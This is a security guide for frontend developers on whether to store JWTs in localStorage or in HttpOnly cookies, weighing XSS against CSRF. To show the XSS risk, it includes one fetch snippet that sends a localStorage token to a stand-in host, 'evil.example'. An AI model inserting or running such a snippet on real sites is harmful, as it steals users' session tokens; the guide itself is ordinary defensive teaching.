Store JWT in localStorage vs Cookie

"Where do I store my JWT?" is the question every frontend developer hits the moment authentication moves past the tutorial. The two obvious answers are browser localStorage and cookies, and the internet is full of confident, contradictory advice. The honest truth is that neither is automatically "secure" or "insecure" on its own. Each defends against a different attack and exposes you to another. This guide lays out the real trade-off so you can choose deliberately instead of cargo-culting.

The core trade-off: XSS vs CSRF

Almost every storage debate reduces to two attack classes. Cross-site scripting (XSS) is when an attacker gets their JavaScript to run on your page. Cross-site request forgery (CSRF) is when another site tricks the browser into sending an authenticated request to your API using credentials the browser attaches automatically.

The key fact, straight from MDN: localStorage "allows you to access a Storage object for the Document's origin," meaning any JavaScript running on your origin can read it. A cookie marked HttpOnly, by contrast, "can't be accessed by JavaScript... it can only be accessed when it reaches the server." That single difference drives the entire decision. If you want a deeper primer on the injection side, see what is XSS.

Option 1: localStorage (and sessionStorage)

Storing the token in localStorage is the easiest path. You read it with localStorage.getItem('token') and attach it yourself as an Authorization: Bearer <token> header on each request. It works identically across same-origin pages, survives browser restarts, and never gets auto-attached to requests, so CSRF is essentially a non-issue for a pure bearer-token setup.

The fatal weakness is XSS. Because any script on the page can read localStorage, a single injected script, whether from your own code, a compromised npm dependency, or a third-party tag, can do this:

// What an injected script can trivially run
fetch('https://evil.example/steal', {
  method: 'POST',
  body: localStorage.getItem('token')
});

The token is now exfiltrated and the attacker can replay it from anywhere until it expires. There is no browser flag that stops this; the data is plain JavaScript-readable text by design. sessionStorage has the exact same exposure, it just clears when the tab closes.

Option 2: HttpOnly cookies

If you set the token in a cookie with the right attributes, you flip the threat model. The browser stores and sends the cookie for you, and JavaScript literally cannot read it. A solid cookie looks like this on the server response:

Set-Cookie: token=eyJhbGci...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

Each attribute earns its place. HttpOnly blocks the exfiltration script above outright. Secure means the cookie is only sent over an encrypted HTTPS request, so it never leaks over plain HTTP. SameSite is your CSRF lever.

The downside is that cookies are sent automatically, which reintroduces CSRF: a malicious page can cause the browser to fire a request to your API with the cookie attached. The mitigations are layered. First, SameSite: modern Chromium-based browsers treat a cookie with no SameSite attribute as Lax by default, but Firefox and Safari do not, so always set it explicitly. Strict only sends the cookie on requests originating from your own site; both Lax and Strict block the classic cross-site form-POST attack. For anything sensitive, add an explicit anti-CSRF token (the double-submit cookie or synchronizer-token pattern) so a forged request can't supply the matching secret.

The modern default: in-memory access token + HttpOnly refresh cookie

The pattern most security-conscious teams converge on splits the problem in two:

  • Short-lived access token held in memory (a JavaScript variable or closure, not any persistent store). It is gone on refresh, never written to disk, and never readable from a previous page load. You attach it as the Authorization header.
  • Long-lived refresh token in an HttpOnly, Secure, SameSite cookie, scoped tightly to your refresh endpoint via Path. JavaScript can't read it, so XSS can't steal it. When the access token expires, a silent call to the refresh endpoint mints a new one.

This narrows both attack surfaces at once: XSS can't exfiltrate a token it can't read, and the short access-token lifetime caps the damage of any in-memory leak. It costs more plumbing, an interceptor that refreshes on 401 and retries, but it is the right default for real applications.

Decision table by app risk level

App profileRecommended storageWhy
Internal tool, low-value data, trusted userslocalStorage bearer tokenSimplest; XSS blast radius is acceptable
Standard SaaS, real user accountsIn-memory access token + HttpOnly refresh cookieBest XSS/CSRF balance for the effort
Finance, healthcare, admin consolesHttpOnly cookies + SameSite + anti-CSRF token + strict CSPDefense in depth; assume XSS will be attempted
Same-origin SPA where you control the backendHttpOnly cookies, no token in JS at allCookies are sent automatically; no header juggling

The caveats that trip people up

Two practical constraints push the decision more than the theory does. First, cookie size: browsers cap a single cookie at, per MDN, "usually 4KB" (and that ceiling counts the name and attributes, not just the value). A JWT padded with claims, roles, and permissions can blow past that, and oversized cookies are silently dropped. Trim your claims or fall back to a header-based access token.

Second, the Authorization header doesn't ride in cookies. If your API or a third-party gateway expects Authorization: Bearer, a pure-cookie setup means your frontend or a proxy must translate the cookie into that header. Cross-origin cookie auth also requires CORS with credentials: 'include' and an explicit allowed origin, not a wildcard. And whatever you choose, none of it matters if XSS is wide open, so a strong Content Security Policy is doing the real heavy lifting.

Inspect your own token first

Before you decide, look at what you're actually storing. Paste your token into the JWT decoder to see its claims, expiry, and size, entirely in your browser, so the token never leaves your machine. That tells you whether it even fits a 4KB cookie and how aggressive your refresh cadence should be. When you're testing flows, the JWT builder lets you craft tokens with specific claims to verify storage and refresh logic end to end.

Frequently Asked Questions

It is acceptable for low-risk apps but not ideal. Any JavaScript running on your origin, including a compromised dependency or injected script, can read localStorage and exfiltrate the token. There is no flag to prevent this. For accounts that matter, prefer an HttpOnly cookie or an in-memory access token instead.

They stop JavaScript from reading the cookie, which blocks the most common XSS exfiltration path. But cookies are sent automatically, so they reintroduce CSRF. You must add SameSite=Strict or Lax plus an anti-CSRF token for sensitive actions. HttpOnly is one layer, not the whole defense.

The common gold standard is a short-lived access token kept in memory (a JavaScript variable, not localStorage) combined with a long-lived refresh token in an HttpOnly, Secure, SameSite cookie. XSS cannot read either store easily, and the short access-token lifetime limits the damage of any leak.

Browsers cap a single cookie at roughly 4KB per MDN, and that limit includes the cookie name and attributes, not just the value. A JWT stuffed with roles, permissions, and custom claims can exceed it, and oversized cookies are silently dropped, breaking auth without an obvious error. Trim your claims or use a header-based access token if your token is large.

For a pure bearer-token setup, mostly yes. Because you attach the token manually as an Authorization header, it is never sent automatically on cross-site requests, so classic CSRF does not apply. The trade-off is that localStorage is fully exposed to XSS, which cookies with HttpOnly are not.